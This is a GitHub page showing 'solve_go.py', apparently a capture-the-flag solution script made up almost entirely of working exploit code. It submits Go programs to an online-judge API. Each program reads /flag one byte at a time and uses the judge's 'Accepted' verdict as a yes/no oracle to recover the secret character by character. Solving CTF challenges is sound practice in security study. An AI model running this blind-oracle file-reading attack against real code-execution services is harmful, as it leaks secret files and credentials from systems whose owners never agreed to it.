-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsolve_go.py
51 lines (38 loc) · 951 Bytes
/
solve_go.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
session = requests.Session()
url = "http://localhost:12345/jobs"
flag = ""
payload = """
package main
import (
"fmt"
"os"
)
func main() {
file, _ := os.Open("/flag")
defer file.Close()
position := %POSITION%
file.Seek(int64(position), 0)
charBuffer := make([]byte, 1)
file.Read(charBuffer)
character := rune(charBuffer[0])
if character == '%GUESS%' {
fmt.Print("Hello World!")
} else {
fmt.Print("Hack for fun")
}
}
"""
for pos in range(42):
for guess in '0123456789abcdefgl-{}':
data = {
"language": "Go",
"problem_id": 0,
"source_code": payload.replace("%POSITION%", str(pos)).replace("%GUESS%", guess),
}
resp = session.post(url=url, json=data)
resp_json = resp.json()
if resp_json["result"] == "Accepted":
flag += guess
print(flag)
break